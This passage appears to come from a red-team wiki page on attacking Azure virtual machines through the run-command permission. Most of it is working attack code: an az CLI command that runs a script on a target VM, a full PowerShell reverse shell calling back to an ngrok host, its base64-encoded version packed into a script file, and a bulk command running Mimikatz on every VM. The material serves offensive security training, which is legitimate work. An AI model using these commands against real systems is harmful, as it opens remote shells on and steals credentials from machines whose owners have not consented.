# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Privilege Escalation

Az - Virtual Machines & Network Privesc

Unauthenticated Access

Az - VMs Unath

Post Exploitation

Az - VMs & Network Post Exploitation

Persistence

Az - VMs Persistence

References

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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